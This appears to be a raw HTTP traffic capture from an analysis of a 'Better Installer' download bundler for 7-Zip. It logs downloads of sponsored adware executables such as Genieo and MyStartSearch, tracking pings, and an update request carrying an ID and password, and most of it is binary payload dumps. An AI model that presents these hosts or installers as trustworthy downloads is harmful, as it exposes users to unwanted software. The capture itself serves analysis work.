Range: bytes=7000000-7249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 7000000-7249999/7592848
Age: 39610
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: b9byz6hwHNqwib7Msse_e0Vt3WAHCYwvRSCQFW95tM0w_KMLjCsr9A==
..2..1.u..[....U....se..... v......fLN=O}{.>.)..i.|S.'...Ou}k..pY.y
...4.\: .u..[x.@j....,'.S...xX6..<*.......=......u.J=4 .(.:..2Fg.u.
.S .Im..eRm...HQ:E..f#.....!c.^.>`.S).QL8...wb6l....II2.."[email protected]=.
$..%.........*..T..Z...n...s-.F!.F.!.Y..f...J2..gK.t...#.."[email protected]
..'..Z^#9@`O.P.{....y.j#"M.]..-.. ..D....(..Y<.......^..!......^5..
b7J.........-..?....gQ.`.....3......z.`...y~.....-j.....sL."k.....!s..
w......M.q......o..t..0....)!.\.P.d...|`.l.?..U8R[.,%...A..Qo......f..
..\..o./.f..;....x....q.g.../.......*.F. .=.'....(..~.......{/..5.(..|
_\[.r....t.S..e.....;j(.QW....7\.. ...V.....'O....{.p.N....%.;.....#..
..E.B..j<MOj.*C...K.:M]=".b..c5.l......~..r.k..5.*..g.....Oq.......
...-.rqP..N...(....Kb...kKi.H`.aU..w.bz...S.......N..0A.....?.H,.W....
.ou@."....8..Gk6....NEy*.......D.A.....?.."...l.....'.....I2.Bs.H.5...
<2...T.....M...9.. .......eJ..pgzg...WU...0Z..i`5..{(..<........
Bu.G...V...W#-r.T...p)U......V.s}Q.4...%.X).iO...H.......Y....O..p..,.
._..?n'1..v. ..WW. .vJ..v1.E.....V....c..Oi.AJ...d.....f0!.....Cb.Z...
B.|.2...\.K.&[./._N......<>.kl..z.._.B..Y.!;. .Q..T...N.........
....H....N.Jd...<R>.....?JT... .>j..xz....lG&.d....j..aR...!.
.D.11..-v.;..l...6....t...fI..I4i|...7Y$...:h.....>1.,DFn#.j.....10
..5W.?..7..(....mZm>..5P..98.K..R&.!.J..6..{..I4...`o..8....a...fi.
......o/.d...._s&..3K.......F.....d.O...r.2....v..*..}....wK.8...k..Z\
...-.Yv..VU........p....|\...]#...X.DG..% .4......D,Q.....:(1.. 7x..*.
...hG['.i.....~...N..$.p..D..VZ...Saw..$.......:.......*.Z.N......
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=80408-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 241224
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 80408-321631/321632
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)
X-Amz-Cf-Id: F7Cz9Ktw-0q-G_jYduSt4sUzEMM9IYVP56fvhWB3MFo3P9YMMAaPHw==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: DObEodIuAvBvAvgE3yjFhUv5O4mSkXn8dQZbzKZ-SBaAQ-LMVGe7Cg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
........................................................



GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=347a49ca-599a-449d-a352-8c5f411a5764&Password=6zjimKi4&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886296&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=dxonyc554zwzzaujwzq4bxyq


HTTP/1.1 200 OK
Connection: close
Date: Sat, 14 Feb 2015 03:58:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=832858-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 277618
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?1f08128fe2364792 HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT
If-None-Match: "0b2464b1797cf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified
Content-Type: application/octet-stream
Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT
ETag: "0b2464b1797cf1:0"
Cache-Control: max-age=86400
Date: Sat, 14 Feb 2015 03:59:21 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Sat, 14 Feb 2015 03:59:21 GMT..Conn
ection: keep-alive..



POST /online/Report.aspx HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------07FD09C64329
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Content-Length: 852
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=xs3fyxvuxx5pum45gwcoe245

-----------------------------07FD09C64329
Content-Disposition: form-data; name="ProductID"

12000
-----------------------------07FD09C64329
Content-Disposition: form-data; name="Version"

3.3.9.4
-----------------------------07FD09C64329
Content-Disposition: form-data; name="UserID"

347a49ca-599a-449d-a352-8c5f411a5764
-----------------------------07FD09C64329
Content-Disposition: form-data; name="Password"

6zjimKi4
-----------------------------07FD09C64329
Content-Disposition: form-data; name="XmlData"

<xml><VERSION>3.3.9.4</VERSION><ACCFAILUREINFO>kJ79Iwl e1s2/G8nRzh5ELBkVPoUjhogZ7pxoWdsrUU0WQQicfmo07WDE3STM32CP0gISt2/sLfwO4RkVciWc/kiuWQtfNTYfCc56FjccT1XXcVBUJlIVi2n2PaSTXVTobfpyd uyKERKswPDh1GAkRy6DZO1LiivytcG5MEgIAbtdK8bYfXZ1SeqXDIGTM3qRRGU6wa1Qw=</ACCFAILUREINFO></xml>
-----------------------------07FD09C64329--

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 486
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Sat, 14 Feb 2015 04:00:40 GMT
Connection: close
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h
ttp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html 
xmlns="hXXp://VVV.w3.org/1999/xhtml" >..<head><title>..
.Untitled Page..</title></head>..<body>..    <for
m name="form1" method="post" action="Report.aspx" id="form1">..<
input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwU
JNzgzNDMwNTMzZGSj3Lve5K2rLPoybgcot35Gkzooig==" />..    <div>.
.    ..    </div>..    </form>..</body>..</html&g
t;....



GET /pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1
Host: download.cdn.mozilla.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=900000-1199999
Connection: keep-alive


HTTP/1.1 206 Partial Content
Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT
ETag: "4b1e700-2dc5623-508c5f506dac8"
Server: Apache
X-Backend-Server: ftp3.dmz.scl3.mozilla.com
Content-Type: application/octet-stream
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
X-Cache-Info: cached
Cache-Control: max-age=287022
Expires: Tue, 17 Feb 2015 11:44:21 GMT
Date: Sat, 14 Feb 2015 04:00:39 GMT
Content-Range: bytes 900000-1199999/47994403
Content-Length: 300000
Connection: keep-alive
d,.f.\s..H.vB9..b.I`.b..8%..g..m....x..*.....{....?..u;f....._nU._....
..y q....].~..N...=....c.:..wuz. g...O?....*-..U..,..]u.iE...9..s.gN..
5.A.v....;BK..H.....>.J..T.n.#. .......^:...9.giR..h.s..dX[:..D..3.
..I.`.5..pb.s.-..........P...M.3.,.Z.....t.&Z$nJ."o'.\..O.h.B,Y.......
W.........!<.eu.BWsJ.=...Z.l....~..l'...l..9l|....d.x....Fw.B.Gv8..
..2.XJ.Ed..r...V.J.%.$.~^..N..b.....!..w h-..3.......C[m......R.*/[email protected]
Jg..L.......t.#A....X......D.B.....w.d...$6....8.I....GP..e...o\.UJ.u.
.yX.I....c..<KG..T......L..mT..,7rA..g..".?....../.&...dI......&.. 
.k..p.....s..J\..J..p....!.1(...U...A=.......D.....{.H.....v..5!..w...
....&.s|......=...V...Ig..Dp..@k..*...o".......Q..r..l]u.u/...(.i.....
.(..j........1.g7..f._N..eVm..~...)%.hX0Zm............z.w...R.".^.hI.Q
..nZ@..|[email protected]..._.....(!$....gR..;O.$$#...w.{.k.hB.4.?.
....u.$...&}.......Od.. ....".......;[[email protected]$.n.[...B?n.....
.$.\%2........!S...l.(.k...:......c...h.f/...x..VZ..A..R*~....dHh.....
9...I.m [email protected]<...i.v./-.\-......d..~h..H. ..6.M
..0....Z.A.T....N..K @....j%....U:.^..z...~.I.....F"..J...`.......1F$.
..s.D......x$O6....;r.P./.es4.*......n.{g._.U..R?(......|.....B.......
m.N....p&.Z......*..ZQ..VR..[..8@".1xy.P..........z.n^.<....^...n3.
..1...'Ki../[email protected]..<.M$..2..|.v.n/6...V.
.......lE/......w8-........-R..\e...WA...756.H.]/d.....-......'.......
.. ..4J@.<.S.4....Fu6%...du.iP.....*>........%/..>#..}....._.
..c.b.f..!...D%L...../.......,...o&u...#..1...Ex.k.P.. .S.J/......
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=694049-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 416427
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&0.3060995307041733 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.1.10.1423886295; __utmc=1; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:59:11 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:59:11 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.8350997762370773 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.833397082.1423886223.1423886223.1423886223.1; __utmb=1.1.10.1423886223; __utmc=1; __utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:31 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:57:31 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
X-Cache: RefreshHit from cloudfront
Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)
X-Amz-Cf-Id: f3Cac4usMLq8UeEdnIKdXSLDf1VqYmxa8Ey-KnAfbShVNZFk2_69eA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=617755-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: mgEsJSNhNOXGcX1EK5vbaf6Hox708v0TFHqsmr0kkgsgVNhtDAwNcgbfQiNV005U
x-amz-request-id: EB11AEB0BFEC4091
Date: Sat, 14 Feb 2015 03:58:20 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 617755-988407/988408
Content-Type: application/octet-stream
Content-Length: 370653
Server: AmazonS3
...m$......"4C..HA.e...P.V.9J.2.E...."X..!X...>.U.oL{$.!.......5..h
.9\...Ua.M.%....... .5.}[email protected].'...'..My.......3i.........e..SPNO.ka
..R...f...5Mm..............c....W..%z`..U........D.h]...\q.....vyr..2.
.$.[.8M..6...=.*..g...J. N-k....w........G....s......6.3?>...).>
D..J.^.c/.N....u.6.....s...{....L..n......:........'...,...^..mg...BO.
>..}H#..N.'.F...%.....p..#....t...zV.,.\9.......D...B...B.:.[.IYZ..
.c..^K..[(d....H.......FwD.......z..L....-.i(.......I.....x.*..s[.....
b.H0DR..<"......d..w.{..v%e.8n......6t..P..>VK.e...4...B(7...>
;.a....K..A...Z.%.x."...:O...!...".p`......t.....q..Z...".....t...s;."
.[h.#z..ZG....&A.(.....@..........}...?g..u(.M..[.dD..h.7C4HS......I.-
....'.....|O......X[.....2"6.lR..(......m_....f...........u...n....Y..
i.9.......5..5..<7 ...0.c...|.i..zHh8..B'.........B.~1..;....A.T.H.
.FT.....8.9L..i`,..t.!C...B.<..lQ..W...F[....|T\..o.f...e.....H.o..
..9U....p.ReW.z.wJ.....A.!.#.../0.......E..v...X.M.(.:p[...b9.{#N.....
0...%6..AsI....'.........9.H%}6.0..'.;..R5.........4.j.Vw..g..N$...q..
..........s.}.)........\.2..^P..f....UA.bQK...o.~B..D...F...W.....)L..
./.wL]>[email protected]^.x......&G.Z........G..2.WuO......&.....T.W..
.)(..D.e.........C .Bl.U{...hC..ml0.......x......3...............h|...
.d.0`3.6$l.)Q...e.....BPo|-..@..<,K.0t.....2g.o./4..(.q$.M..M..X(J}
..F.Y.%Z..9.'.n...WR.V.V..I:.S`..uA.(h9FN.c..X.........4..........kD..
....>7.6%..n..`.v..R..w.u:.n.......u5f.!K*....6:...tK..n...k.%...AJ
.".../..}p.g...3.2.m.[..6....g..F...C......G_..B]*..i.<PX./gMI.
<<< skipped >>>


GET /affiliates/filesfrog/eula.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2wy0yopxw6nne.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 04:51:17 GMT
Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT
Expires: Sun, 08 Feb 2015 05:01:17 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 99
X-Cache: Hit from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: W-r_YR4jjf96_cIFRJsqHp7mZ5KMDT7WsHCLfpm4-3H4HPtIwR17Hg==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7
<<< skipped >>>


